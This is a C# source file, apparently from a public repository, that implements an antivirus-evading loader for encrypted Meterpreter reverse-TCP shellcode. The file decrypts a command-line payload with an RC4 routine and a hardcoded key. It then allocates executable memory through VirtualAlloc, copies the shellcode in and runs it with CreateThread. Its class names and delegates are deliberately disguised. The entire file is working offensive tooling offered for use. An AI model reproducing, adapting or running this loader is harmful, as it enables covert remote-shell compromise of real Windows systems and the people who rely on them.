-
Notifications
You must be signed in to change notification settings - Fork 63
/
NativePayload_Reverse_tcp2.cs
190 lines (165 loc) · 7.4 KB
/
NativePayload_Reverse_tcp2.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Threading;
namespace NativePayload_Reverse_tcp2
{
public static class Hide
{
public class code
{
public static class a
{
/// this is encryption key ;)
public static byte[] _j_ = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };
public static byte[] bt;
public static byte[] ftp;
}
public class b
{
public static byte cr;
public static UInt32 funcAddr;
public class _classs
{
public static string pay_;
[DllImport("kernel32")]
public static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
public static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType);
[DllImport("kernel32")]
public static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")]
public static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32")]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
}
}
public class hide2
{
public static byte[] EncryptInitalize(byte[] key)
{
S ss = Swap;
byte[] s = Enumerable.Range(0, 256)
.Select(i => (byte)i)
.ToArray();
for (int i = 0, j = 0; i < 256; i++)
{
j = (j + key[i % key.Length] + s[i]) & 255;
ss(s, i, j);
}
return s;
}
public static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
{
byte[] s = EncryptInitalize(key);
int i = 0;
int j = 0;
return data.Select((b) =>
{
i = (i + 1) & 255;
j = (j + s[i]) & 255;
Swap(s, i, j);
return (byte)(b ^ s[(s[i] + s[j]) & 255]);
});
}
public static void Swap(byte[] s, int i, int j)
{
byte c = s[i];
s[i] = s[j];
s[j] = c;
}
public class hide3
{
public static UInt32 MMC = 0x1000;
public static UInt32 PERE = 0x40;
public class ops
{
public static IntPtr ht = IntPtr.Zero;
public static UInt32 ti = 0;
public static IntPtr pi = IntPtr.Zero;
public uint f = 0xFFFFFFFF;
}
}
}
//private static UInt32 PAGE_EXECUTE_READWRITE = 0x80;
public static byte[] Decrypt(byte[] key, byte[] data)
{
EO eatme = hide2.EncryptOutput;
//return EncryptOutput(key, data).ToArray();
return eatme(key, data).ToArray();
}
public delegate void S(byte[] s, int i, int j);
public delegate IEnumerable<byte> EO(byte[] key, IEnumerable<byte> data);
public delegate byte[] E(byte[] key);
public delegate byte[] D(byte[] key, byte[] data);
}
class Program
{
public delegate UInt32 V(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
public delegate IntPtr CT(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
public delegate UInt32 W(IntPtr hHandle, UInt32 dwMilliseconds);
static void Main(string[] args)
{
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.DarkGray;
Console.WriteLine("NativePayload_Reverse_tcp2 , Payload Decryption tool for Meterpreter Payloads (v2) ");
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine("Published by Damon Mohammadbagher , Dec 2016");
Console.ForegroundColor = ConsoleColor.DarkGreen;
Console.WriteLine();
Hide.D de = Hide.Decrypt;
V v = Hide.code.b._classs.VirtualAlloc;
CT ct = Hide.code.b._classs.CreateThread;
W w = Hide.code.b._classs.WaitForSingleObject;
try
{
// string Payload_Encrypted;
if (args != null) { Hide.code.b._classs.pay_ = args[0].ToString(); }
else { Hide.code.b._classs.pay_ = "ops"; }
string[] Payload_Encrypted_Without_delimiterChar = Hide.code.b._classs.pay_.Split(',');
Hide.code.a.bt = new byte[Payload_Encrypted_Without_delimiterChar.Length];
for (int i = 0; i < Payload_Encrypted_Without_delimiterChar.Length; i++)
{
Hide.code.b.cr = Convert.ToByte(Payload_Encrypted_Without_delimiterChar[i].ToString());
Hide.code.a.bt[i] = Hide.code.b.cr;
for (int ii = 0; ii < i; ii++)
{
Console.Write(".");
}
}
/// v1
//UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
//MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
//IntPtr hThread = IntPtr.Zero;
//UInt32 threadId = 0;
//IntPtr pinfo = IntPtr.Zero;
//// execute native code
//hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
//WaitForSingleObject(hThread, 0xFFFFFFFF);
/// v2
Hide.code.a.ftp = de(Hide.code.a._j_, Hide.code.a.bt);
Console.WriteLine(" Bingo ;)");
Hide.code.b.funcAddr = v(0, (UInt32)Hide.code.a.ftp.Length, Hide.hide2.hide3.MMC, Hide.hide2.hide3.PERE);
Marshal.Copy(Hide.code.a.ftp, 0, (IntPtr)(Hide.code.b.funcAddr), Hide.code.a.ftp.Length);
Hide.hide2.hide3.ops.ht = ct(0, 0, Hide.code.b.funcAddr, Hide.hide2.hide3.ops.pi, 0, ref Hide.hide2.hide3.ops.ti);
Hide.hide2.hide3.ops f = new Hide.hide2.hide3.ops();
for (int i = 0; i < 377; i++)
{
if (i == 373)
{
w(Hide.hide2.hide3.ops.ht, f.f);
break;
}
}
}
catch (Exception e )
{
Console.WriteLine(e.Message);
}
}
}
}